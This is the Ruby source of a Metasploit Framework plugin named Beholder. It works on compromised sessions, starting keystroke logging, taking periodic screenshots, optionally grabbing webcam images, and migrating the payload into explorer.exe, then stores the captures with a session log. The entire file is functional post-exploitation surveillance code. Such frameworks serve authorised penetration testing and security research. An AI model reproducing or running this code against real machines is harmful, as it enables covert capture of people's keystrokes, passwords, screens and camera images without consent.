metasploit-framework/plugins/beholder.rb

346 lines
9.6 KiB
Ruby

# -*- coding:binary -*-
require 'fileutils'
module Msf
class Plugin::Beholder < Msf::Plugin
#
# Worker Thread
#
class BeholderWorker
attr_accessor :framework, :config, :driver, :thread, :state
def initialize(framework, config, driver)
self.state = {}
self.framework = framework
self.config = config
self.driver = driver
self.thread = framework.threads.spawn('BeholderWorker', false) do
begin
start
rescue ::Exception => e
warn "BeholderWorker: #{e.class} #{e} #{e.backtrace}"
end
# Mark this worker as dead
self.thread = nil
end
end
def stop
return unless thread
begin
thread.kill
rescue StandardError
nil
end
self.thread = nil
end
def start
driver.print_status("Beholder is logging to #{config[:base]}")
bool_options = %i[screenshot webcam keystrokes automigrate]
bool_options.each do |o|
config[o] = !(config[o].to_s =~ /^[yt1]/i).nil?
end
int_options = %i[idle freq]
int_options.each do |o|
config[o] = config[o].to_i
end
::FileUtils.mkdir_p(config[:base])
loop do
framework.sessions.each_key do |sid|
if state[sid].nil? ||
(state[sid][:last_update] + config[:freq] < Time.now.to_f)
process(sid)
end
rescue ::Exception => e
session_log(sid, "triggered an exception: #{e.class} #{e} #{e.backtrace}")
end
sleep(1)
end
end
def process(sid)
state[sid] ||= {}
store_session_info(sid)
return unless compatible?(sid)
return if stale_session?(sid)
verify_migration(sid)
cache_sysinfo(sid)
collect_keystrokes(sid)
collect_screenshot(sid)
collect_webcam(sid)
end
def session_log(sid, msg)
::File.open(::File.join(config[:base], 'session.log'), 'a') do |fd|
fd.puts "#{Time.now.strftime('%Y-%m-%d %H:%M:%S')} Session #{sid} [#{state[sid][:info]}] #{msg}"
end
end
def store_session_info(sid)
state[sid][:last_update] = Time.now.to_f
return if state[sid][:initialized]
state[sid][:info] = framework.sessions[sid].info
session_log(sid, 'registered')
state[sid][:initialized] = true
end
def capture_filename(sid)
state[sid][:name] + '_' + Time.now.strftime('%Y%m%d-%H%M%S')
end
def store_keystrokes(sid, data)
return if data.empty?
filename = capture_filename(sid) + '_keystrokes.txt'
::File.open(::File.join(config[:base], filename), 'wb') { |fd| fd.write(data) }
session_log(sid, "captured keystrokes to #{filename}")
end
def store_screenshot(sid, data)
filename = capture_filename(sid) + '_screenshot.jpg'
::File.open(::File.join(config[:base], filename), 'wb') { |fd| fd.write(data) }
session_log(sid, "captured screenshot to #{filename}")
end
def store_webcam(sid, data)
filename = capture_filename(sid) + '_webcam.jpg'
::File.open(::File.join(config[:base], filename), 'wb') { |fd| fd.write(data) }
session_log(sid, "captured webcam snap to #{filename}")
end
# TODO: Stop the keystroke scanner when the plugin exits
def collect_keystrokes(sid)
return unless config[:keystrokes]
sess = framework.sessions[sid]
unless state[sid][:keyscan]
# Consume any error (happens if the keystroke thread is already active)
begin
sess.ui.keyscan_start
rescue StandardError
nil
end
state[sid][:keyscan] = true
return
end
collected_keys = sess.ui.keyscan_dump
store_keystrokes(sid, collected_keys)
end
# TODO: Specify image quality
def collect_screenshot(sid)
return unless config[:screenshot]
sess = framework.sessions[sid]
collected_image = sess.ui.screenshot(50)
store_screenshot(sid, collected_image)
end
# TODO: Specify webcam index and frame quality
def collect_webcam(sid)
return unless config[:webcam]
sess = framework.sessions[sid]
begin
sess.webcam.webcam_start(1)
collected_image = sess.webcam.webcam_get_frame(100)
store_webcam(sid, collected_image)
ensure
sess.webcam.webcam_stop
end
end
def cache_sysinfo(sid)
return if state[sid][:sysinfo]
state[sid][:sysinfo] = framework.sessions[sid].sys.config.sysinfo
state[sid][:name] = "#{sid}_" + (state[sid][:sysinfo]['Computer'] || 'Unknown').gsub(/[^A-Za-z0-9._-]/, '')
end
def verify_migration(sid)
return unless config[:automigrate]
return if state[sid][:migrated]
sess = framework.sessions[sid]
# Are we in an explorer process already?
pid = sess.sys.process.getpid
session_log(sid, "has process ID #{pid}")
ps = sess.sys.process.get_processes
this_ps = ps.select { |x| x['pid'] == pid }.first
# Already in explorer? Mark the session and move on
if this_ps && this_ps['name'].to_s.downcase == 'explorer.exe'
session_log(sid, 'is already in explorer.exe')
state[sid][:migrated] = true
return
end
# Attempt to migrate, but flag that we tried either way
state[sid][:migrated] = true
# Grab the first explorer.exe process we find that we have rights to
target_ps = ps.select { |x| x['name'].to_s.downcase == 'explorer.exe' && x['user'].to_s != '' }.first
unless target_ps
# No explorer.exe process?
session_log(sid, 'no explorer.exe process found for automigrate')
return
end
# Attempt to migrate to the target pid
session_log(sid, "attempting to migrate to #{target_ps.inspect}")
sess.core.migrate(target_ps['pid'])
end
# Only support sessions that have core.migrate()
def compatible?(sid)
framework.sessions[sid].respond_to?(:core) &&
framework.sessions[sid].core.respond_to?(:migrate)
end
# Skip sessions with ancient last checkin times
def stale_session?(sid)
return unless framework.sessions[sid].respond_to?(:last_checkin)
session_age = Time.now.to_i - framework.sessions[sid].last_checkin.to_i
# TODO: Make the max age configurable, for now 5 minutes seems reasonable
if session_age > 300
session_log(sid, "is a stale session, skipping, last checked in #{session_age} seconds ago")
return true
end
return
end
end
#
# Command Dispatcher
#
class BeholderCommandDispatcher
include Msf::Ui::Console::CommandDispatcher
@@beholder_config = {
screenshot: true,
webcam: false,
keystrokes: true,
automigrate: true,
base: ::File.join(Msf::Config.config_directory, 'beholder', Time.now.strftime('%Y-%m-%d.%s')),
freq: 30,
# TODO: Only capture when the idle threshold has been reached
idle: 0
}
@@beholder_worker = nil
def name
'Beholder'
end
def commands
{
'beholder_start' => 'Start capturing data',
'beholder_stop' => 'Stop capturing data',
'beholder_conf' => 'Configure capture parameters'
}
end
def cmd_beholder_stop(*_args)
unless @@beholder_worker
print_error('Error: Beholder is not active')
return
end
print_status('Beholder is shutting down...')
stop_beholder
end
def cmd_beholder_conf(*args)
parse_config(*args)
print_status('Beholder Configuration')
print_status('----------------------')
@@beholder_config.each_pair do |k, v|
print_status(" #{k}: #{v}")
end
end
def cmd_beholder_start(*args)
opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'This help menu']
)
opts.parse(args) do |opt, _idx, _val|
case opt
when '-h'
print_line('Usage: beholder_start [base=</path/to/directory>] [screenshot=<true|false>] [webcam=<true|false>] [keystrokes=<true|false>] [automigrate=<true|false>] [freq=30]')
print_line(opts.usage)
return
end
end
if @@beholder_worker
print_error('Error: Beholder is already active, use beholder_stop to terminate')
return
end
parse_config(*args)
start_beholder
end
def parse_config(*args)
new_config = args.map { |x| x.split('=', 2) }
new_config.each do |c|
unless @@beholder_config.key?(c.first.to_sym)
print_error("Invalid configuration option: #{c.first}")
next
end
@@beholder_config[c.first.to_sym] = c.last
end
end
def stop_beholder
@@beholder_worker.stop if @@beholder_worker
@@beholder_worker = nil
end
def start_beholder
@@beholder_worker = BeholderWorker.new(framework, @@beholder_config, driver)
end
end
#
# Plugin Interface
#
def initialize(framework, opts)
super
add_console_dispatcher(BeholderCommandDispatcher)
end
def cleanup
remove_console_dispatcher('Beholder')
end
def name
'beholder'
end
def desc
'Capture screenshots, webcam pictures, and keystrokes from active sessions'
end
end
end